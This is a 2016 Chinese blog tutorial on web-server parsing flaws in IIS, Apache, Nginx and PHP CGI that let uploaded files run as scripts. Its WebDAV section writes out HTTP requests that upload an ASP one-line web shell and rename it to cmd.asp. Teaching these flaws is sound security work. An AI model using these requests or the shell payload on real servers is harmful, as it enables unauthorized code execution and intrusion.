美文网首页Pentest@IT·互联网
文件上传之解析漏洞

文件上传之解析漏洞

作者: cws | 来源:发表于2016-07-21 19:26 被阅读956次

解析漏洞

文件上传漏洞通常与Web容器的解析漏洞配合利用
常见Web容器有IIS、Nginx、Apache、Tomcat等

IIS解析漏洞

IIS6.0在解析文件时存在以下两个解析漏洞

1、当建立*.asp、*.asa格式的文件夹时,其目录下任意文件都会被iis当作asp文件来解析。
2、当文件为*.asp;1.jpg时,IIS6.0同样会以ASP脚本来执行。

WebDav漏洞

    WebDav是一种基于HTTP1.1协议的通信协议,它扩展了HTTP协议。在开启WebDav后若
支持PUT、Move、Copy、Delete等方法,就会存在安全隐患。

测试步骤如下:
    1)通过OPTIONS探测服务器所支持的HTTP方法
    请求:
    OPTIONS / HTTP/1.1
    Host: www.xxxx.com
    2)通过PUT方法向服务器上传shell
    请求:
    PUT /a.txt HTTP/1.1
    Host: www.xxxx.com
    Content-Length: 30

    <%eval request("chopper") %>
    3)通过Move或Copy方法改名
    请求:
    COPY /a.txt HTTP/1.1
    Host: www.xxxx.com
    Destination: http://www.xxxx.com/cmd.asp
    4)用DELETE方法删除文件
    请求:
    DELETE /a.txt HTTP/1.1
    Host: www.xxxx.com

注:可用桂林老兵的IIS Write快速探测服务器是否存在WebDav漏洞

Apache解析漏洞

在Apache 1.x和Apache 2.x中存在解析漏洞。

Apache在解析文件时有一个原则,当碰到不认识的扩展名时,将会从后向前解析,
直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。
如:1.php.rar.sa.xs就会被解析为php,可以据此来绕过文件名限制

可以在Apache安装目录下的文件"/conf/mime.types"中配置Apache可以识别的文件名

Nginx解析漏洞

对低版本的Nginx可以在任意文件名后添加%00.php进行解析攻击
如:上传图片xx.jpg,然后通过改名为xx.jpg%00.php就会解析为php

PHP CGI解析漏洞

当php的配置文件中的选项cgi.fix_pathinfo = 1开启时,当访问http://www.xxx.com/x.txt/x.php
时,若x.php不存在,则PHP会递归向前解析,将x.txt当作php脚本来解析

IIS中:任意文件名/任意文件名.php就会被解析为php
Nginx中:任意文件名/任意文件名.php就会被解析为php

相关文章

  • 中间件漏洞总结报告

    中间件漏洞总结报告 一、 IIS解析漏洞 首先一般文件解析漏洞用于各种上传漏洞中,在文件上传的地方一般会限制用户上...

  • 文件上传之解析漏洞

    解析漏洞 IIS解析漏洞 IIS6.0在解析文件时存在以下两个解析漏洞 WebDav漏洞 Apache解析漏洞 N...

  • 文件上传+解析漏洞

    原理:文件上传漏洞是指在需要上传文件的地方没有对上传的文件的格式进行过滤限制,从而导致恶意用户上传恶意文件,get...

  • Struts CVE-2017-5638漏洞处理备注

    一、漏洞编号 CVE-2017-5638 二、漏洞简介 Struts使用的Jakarta解析文件上传请求包不当,当...

  • 解析漏洞与文件上传漏洞

    前言 文件上传是很常用的功能点,如:上传头像、上传附件、保存文件等,文件上传漏洞的思想很简单,即可以将包含恶意代码...

  • 2018-08-10 web渗透(完)

    今天主要学习的是文件上传漏洞和xss漏洞 文件上传漏洞 【漏洞描述】 文件上传漏洞是指网络攻击者上传了一个可执行的...

  • Kali Linux系统利用DVWA靶场进测试文件上传漏洞:

    文件上传漏洞: 漏洞原因是由于开发人员或者网站运维人员的一些失误导致用户上传的文件可以被服务器当作脚本执行文件解析...

  • IIS6.0版本漏洞利用

    利用IIS6.0的解析漏洞,绕过上传。 目录-test.asp;任意文件名下优先以asp解析目录以下的文件 -te...

  • 文件上传(upload-labs详细全解)

    文件上传漏洞 常见的漏洞分类服务器配置不当导致文件上传开源编辑器存在上传漏洞本地文件上传限制可以上传被绕过服务器端...

  • 解析导致的文件上传漏洞

    解析导致的上传漏洞 1.IIS6.0站上的目录路径检测解析绕过上传漏洞 默认 遇到/就不解析后面的了IIS6.0目...

网友评论

  • 布客飞龙:多来点py的fuzzing实例吧,串着讲才靠谱。
  • 4588e4274830:多发点畸形解析,常见的还是算啦。
    4588e4274830:@reber 学长啊
    cws:@代码描绘人生 大学狗,还在培训,以后学到的话会发的。。。
  • 谦之:这些都太老了
    cws:@谦之 求大神指导

本文标题:文件上传之解析漏洞

本文链接:https://www.haomeiwen.com/subject/ihgbjttx.html